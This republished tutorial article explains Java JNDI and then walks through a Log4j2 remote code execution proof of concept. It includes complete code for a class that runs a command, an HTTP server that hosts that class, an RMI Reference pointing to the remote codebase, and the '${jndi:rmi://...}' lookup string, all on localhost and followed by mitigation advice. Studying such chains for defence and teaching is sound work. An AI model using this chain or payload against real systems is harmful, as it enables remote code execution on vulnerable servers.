Unveiling JNDI: From Basics to Real‑World Log4j2 Exploit with RMI
This article explains the fundamentals of Java Naming and Directory Interface (JNDI), its architecture and typical usage, then walks through a step‑by‑step RMI implementation and demonstrates how JNDI can be abused to craft a Log4j2 remote code execution attack, complete with full code samples and mitigation advice.
Background
In early 2022 the Log4j2 vulnerability dominated security headlines, spawning countless analyses of affected versions, root causes, patches, and the frantic overtime it forced on developers. The core culprit behind the exploit chain is JNDI (Java Naming and Directory Interface), which this article demystifies.
What Is JNDI?
JNDI is a set of Java APIs that allow applications to look up names and directory services. A naming service maps a name to an object (similar to a Map ), while a directory service extends this by associating attributes with objects (e.g., DNS or a phone‑book). The Sun specification describes it as a way to centralise shared information, making networked applications easier to manage.
Java Naming and Directory Interface (JNDI) provides APIs for accessing naming and directory services from Java applications. Naming services associate names with objects; directory services add attribute‑based search capabilities.
Visually, JNDI can be thought of as a registration centre akin to Nacos: you bind an object to a name in a Context , and later retrieve it via lookup.
Naming Service vs. Directory Service
Naming Service : simple name‑to‑object binding, like DNS mapping a domain to an IP.
Directory Service : adds attribute‑based search, like a phone‑book where you first find a name then retrieve the associated phone number.
JNDI Architecture Layers
JNDI API : isolates Java applications from the underlying data source (LDAP, RMI, DNS, etc.).
Naming Manager : implements the naming service.
JNDI SPI (Service Provider Interface) : concrete provider implementations (similar to JDBC drivers).
The following diagram (originally in the source) illustrates the three‑layer stack:
JNDI in Practice
Typical usage involves creating a Java object, binding it to a Context, and later retrieving it with lookup. In enterprise containers (e.g., Tomcat), resources such as a DataSource are bound to JNDI at startup, allowing servlets and JSPs to obtain database connections without hard‑coding driver details.
RMI‑Based JNDI Example
The article first builds a simple RMI service to illustrate JNDI interaction.
public interface RmiService extends Remote {
String sayHello() throws RemoteException;
}
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {
protected MyRmiServiceImpl() throws RemoteException {}
@Override
public String sayHello() throws RemoteException { return "Hello World!"; }
}
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("RMI启动,监听:1099 端口");
registry.bind("hello", new MyRmiServiceImpl());
Thread.currentThread().join();
}
}Client code to invoke the service:
public class RmiClient {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
RmiService service = (RmiService) ctx.lookup("hello");
System.out.println(service.sayHello());
}
}Crafting a JNDI Attack
To turn the benign RMI demo into an exploit, the article introduces a malicious class ( BugFinder) that launches the macOS Calculator via Runtime.exec. The class is compiled and hosted on a simple HTTP server.
public class BugFinder {
public BugFinder() {
try {
System.out.println("执行漏洞代码");
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
System.out.println("完成执行漏洞代码");
} catch (Exception e) { e.printStackTrace(); }
}
public static void main(String[] args) { new BugFinder(); }
}A Spring Boot controller serves the compiled BugFinder.class file over HTTP:
@RestController
public class ClassController {
@GetMapping("/BugFinder.class")
public void getClass(HttpServletResponse response) {
String file = "/Users/zzs/temp/BugFinder.class";
try (FileInputStream in = new FileInputStream(file);
OutputStream out = response.getOutputStream()) {
byte[] data = new byte[in.available()];
in.read(data);
out.write(data);
out.flush();
} catch (Exception e) { e.printStackTrace(); }
}
}The RMI server is then modified to bind a Reference that points to the remote class:
public class RmiServer {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("RMI启动,监听:1099 端口");
Reference ref = new Reference(
"com.secbro.rmi.BugFinder",
"com.secbro.rmi.BugFinder",
"http://127.0.0.1:8080/BugFinder.class");
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("hello", wrapper);
Thread.currentThread().join();
}
}When the client performs a JNDI lookup, the RMI server returns the Reference, causing the JVM to download and load BugFinder.class. The static initializer runs, opening the calculator—demonstrating remote code execution.
Extending the Attack to Log4j2
To reproduce the infamous Log4j2 exploit, the article adds the vulnerable Log4j2 dependencies to a Spring Boot project (excluding the default logging starter) and configures a logger to emit a JNDI lookup string:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class RmiClient {
private static final Logger logger = LogManager.getLogger(RmiClient.class);
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
Thread.sleep(5000);
}
}When this code runs, Log4j2 parses the `${jndi:...}` pattern, triggers the JNDI lookup, and the same RMI‑based malicious class is loaded, resulting in the calculator being launched.
The article also shows a simple HTTP‑encoded request that can be sent to a Spring Boot controller to trigger the same effect via a URL parameter.
Conclusion
The walkthrough demonstrates how JNDI underpins the Log4j2 remote code execution chain, why the vulnerability is severe, and how setting com.sun.jndi.rmi.object.trustURLCodebase=true is required for exploitation on newer JDKs. Readers are urged to upgrade vulnerable libraries, disable JNDI lookups in Log4j2, and apply proper network segmentation to mitigate similar attacks.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Senior Brother's Insights
A public account focused on workplace, career growth, team management, and self-improvement. The author is the writer of books including 'SpringBoot Technology Insider' and 'Drools 8 Rule Engine: Core Technology and Practice'.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
